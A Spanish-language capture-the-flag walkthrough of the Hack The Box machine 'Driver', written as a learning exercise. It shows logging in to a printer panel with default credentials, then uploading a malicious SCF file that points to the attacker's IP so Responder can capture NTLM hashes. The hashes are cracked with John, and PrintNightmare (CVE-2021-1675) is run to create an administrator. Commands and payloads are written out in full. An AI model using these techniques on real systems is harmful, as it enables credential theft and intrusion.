Intro
Es una máquina fácil, para ella usaré una máquina virtual con parrot linux recién instalado.
Escaneo inicial
Nmap -sC
-sV -oA driver 10.10.11.106
-sC Ejecuta los scripts
por defecto. ¡Ojo hay scripts considerados intrusivos no los utilices contra una
red de la que no tengas permiso!
-sV Se puede emplear -A en su lugar, pero devuelve más datos y no es necesario.
-oA Seguido del nombre de archivo en el que quiero
que guarde el escaneo, en este caso drive, pasa los resultados a todos los
formatos (.nmap .xml .gnmap) y lo deja “grepeable” que puede usar grep.
Encontramos un puerto 80 http vamos a la web y pide usuario
y contraseña, como siempre probamos con las típicas, con usuario:admin y contraseña:admin deja entrar. Esto no es nada extraño la mayoría de impresoras o no tienen contraseña o tienen una contraseña ridícula.
Encontramos el panel de una impresora navegando por las opciones la única
que hace algo es la de firmware update, selecciono un archivo cualquiera y lo acepta.
Dice que el archivo ha sido cargado y que alguien lo revisara.
Perdiendo el tiempo con Burpsuite y FFUZ
Ya que tenemos un acceso, se puede probar con un fuzzer, con dirbuster, gobuster, cambiar y seguir las respuestas web con burpsuite (que aunque lo hice no lo documente). En este caso pruebo con ffuz y no consigo nada, esto es así vas probando caminos hasta que das con el que te permite seguir avanzando.
Instalo ffuf (Fuzz Faster U Fool) ya que no viene en la distribución de Parrot Linux.
Sudo apt install ffuf
Cosas que se van aprendiendo con la práctica, admin:admin
codificado a Base64 es YWRtaW46YWRtaW4= Cuando usemos APIS una de las autenticaciones
es por texto plano en Base64 que es la de esta máquina, hay muchas. (Aunque para
sistemas más críticos, se utilizan hashes o sistemas de llaves, claves públicas, etc.).
Dejo enlace a documentación de IBM, explicando como hacer
peticiones a su API.
https://www.ibm.com/docs/es/ibm-mq/9.1?topic=security-using-http-basic-authentication-rest-api
Dicho lo cual.
Una autenticación básica HTTP con REST API, se puede crear
un cabecero como el siguiente para mandar las peticiones web.
Authorization: Basic YWRtaW46YWRtaW4=
Pues al lío, veamos que encontramos fuzzeando esa web con el usuario autenticado.
El archivo big.txt viene por defecto, creo que en Kali Linux también esta, es como su nombre indica un archivo grande de palabras típicas en servidores web.
ffuf -c -H 'Authentication:
Basic YWRtaW46YWRtaW4=' -w /usr/share/wordlists/dirb/big.txt -u
http://10.10.11.106/FUZZ -e .php,.zip,.txt,.pdf
-c saca la salida por consola con colorines, se ven más rápido
los resultados.
-w ruta de lista de palabras, opcional palabra separada por:
dos puntos en este caso no, pero podría poner. Uso big.txt
-H Header, cabezera "Name:Value" separados por una
coma, Multiple -H flags se pueden usar
-u target url
-e extensiones separadas por coma, extiende la FUZZ keyword
Retomando el camino, más bien continuando pero por otro camino perdido.
En el escaneo inicial, teníamos un puerto SMB, pero no nos
deja hacer gran cosa con él.
Pruebo a listar o conectar con smbclient sin usuario como anónimo
y no consigo nada
smbclient -L 10.10.11.106
smbclient -L 10.10.11.106 -U
smbclient -U ‘ ‘ 10.10.11.106
Quiero probar el crackmapexec aunque ya está claro por donde va la máquina,
dibujito de una impresora se llama driver y hace poco salió el fallo Printnightmare
de Microsoft
Instalando y usando
crackmapexec
Necesita python 3 y recomienda
usar pipx por que aísla todas sus dependencias
apt-get install python3-venv
python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec
cme es la abreviación de crackmapexec hago las típicas búsquedas,
araño un poco de información, pero nada que sirva.
cme smb 10.10.11.106 –shares
y devuelve
SMB 10.10.11.106 445
DRIVER [*] Windows 10
Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
Enumero con usuario y pasword en blanco y nada
Solucionando la máquina
Retomemos, tenemos una impresora, podemos subir un archivo
que alguien va a revisar y tenemos una conexión SMB, a la que sin usuario y password
no podemos acceder.
Emplear un archivo SFC para capturar los hashes de quien se conecte, y luego crackearlos para obtener su contraseña.
Resumido un archivo SFC es un archivo muy básico con el que el
explorador de archivos de Windows se entiende, por ejemplo, para saber que
miniatura o icono tiene que mostrar.
Vamos a abusar de este archivo para qué nos envié los hashes
NTLMv1/2 de todos los usuarios que accedan a una carpeta en la que este ese
archivo.
La idea es subirlo con la actualización del firmware, la
persona que compruebe la carpeta sin saberlo, nos mandara sus hashes solo con
acceder y sin realizar ninguna acción solo con abrir la carpeta son nuestros.
Para ello creamos un archivo con este contenido, la ip
10.10.14.2 es la de mi máquina donde pondré un responder para cuando reciba las
peticiones de test.ico
[Shell]
Command=2
IconFile=\\10.10.14.2\share\test.ico
[Taskbar]
Command=ToggleDesktop
Guardamos como: NOMBREQUEQUIERAS.SCF
Si no da el cante mucho mejor y si le pones delante un 1 para
que sea de lo primero en cargar también, por ejemplo 1TMP.SCF
Preparamos el responder
responder
-wrf --lm -v -I tun0
-I tun0 va a responder
por a Interface tun0 con ifconfig he
visto que interface estaba usando, como estoy en un tunnel ipsec en mi caso pues
es tun0 otros podréis ser eth0 eth1 wlan0 etc.
-wrf lo típico, (es
casi el estándar del responder).
lm para que haga downgrade en xp y sever 2003
v para que nos muestre en consola lo que va sucediendo.
Seleccionamos el archivo, le damos a submit y miramos la
ventana del responder.
Subo el archivo otra vez y captura otros hashes distintos
del mismo usuario.
Ctrl+c para salir
Copio únicamente los hashes en un archivo.
Una fila un hash, de esta manera:
PONGOALGOINVENTADO::NOESELORIGINAL:4f1c8e4d55150988:2B0067E04F1E0CD09B44382D4E32BB82:01010000000000008DC65B6D821AD801907826F2F909C70E00000000020000000000000000000000
NOQUIEROHACER::SPOILER:e25a12bb9fd4273e:40E3864027B693D4DC0864CC92DC7B60:0101000000000000A63D906D821AD80139C06452D451D28B00000000020000000000000000000000
John the ripper
Preparo john de ripper para petarlos, como le voy a pasar el
rockyou (archivo con muchas claves compiladas que se usa en las CTF y que viene incluido en las distribuciones de pentesting).
Está comprimido para descomprimirlo en su dirección,
/usr/share/wordlists/
sudo gzip -d rockyou.txt.gz
El nombre de archivo que he puesto es hasesparapetar
Y lanzo
john
hasesparapetar --wordlist=/usr/share/wordlists/rockyou.txt
Wow eso fue rápido, en un segundo o menos tenemos el
password para ese hash
--ESTESERIA EL USUARIO tiene ESTESERIA EL PASSWORD de
password
Se puede confirmar pasando
john hasesparapetar –show
Entrar como usuario
Usamos evil-winrm
-i para especificar la ip a la que conectamos
-u para el usuario
-p pasa la clave
evil-winrm -i 10.10.11.106 -u USUARIO -p PASSWORD
Voy a la carpeta de Desktop y un Get-Content user.txt
muestra el flag de user
Enumerar opciones para escalar privilegios y escalar a
administrador
Descargo winpeas a mi máquina y en la máquina atacada se lo
subo
upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/winPEASany.exe
y lo ejecuto
*Evil-WinRM* PS C:\Users\USUARIO\Documents> ./winPEASany.exe
Da mucha información, pero como estoy cansado voy directo al
grano.
Busco por internet algún exploit de PrintNightmare
Elijo el de Caleb Stewart y John Hammond, ya que John Hammond
me mola en su canal de YouTube y suele ser muy didáctico y minucioso.
Descargo en mi equipo el exploit
git clone https://github.com/calebstewart/CVE-2021-1675
En la máquina remota subo el ps1
upload
/home/htb-USUARIO/my_data/drivermaquina10.10.11.106/CVE-2021-1675/CVE-2021-1675.ps1
Ejecuto me da error… me quiero ir a dormir… ostras lo de
siempre con powershell tengo restricted
ya sabéis que la ejecución de scripts de powershell suele estar en modo
restringido.
Lo cambio, ejecuto el exploit y me creo un usuario
*Evil-WinRM*
PS C:\Users\USUARIO\Documents> Set-ExecutionPolicy -Scope CurrentUser
-ExecutionPolicy Unrestricted -Force
*Evil-WinRM*
PS C:\Users\USUARIO\Documents> Import-Module .\CVE-2021-1675.ps1
*Evil-WinRM*
PS C:\Users\USUARIO\Documents> Invoke-Nightmare -NewUser "ELQUESEA"
-NewPassword "Zaq123456"
Pero...
No funciona, miro servicios no tiene el spooler,
puede ser que alguien en la misma máquina haya hecho alguna fechoría como no soy admin no puedo hacer un sc start spooler. Reinicio la máquina.
Ejecuto lo anterior
Exit para salir del Evil-Winrm
Conecto con el usuario creado y Get-Content root.txt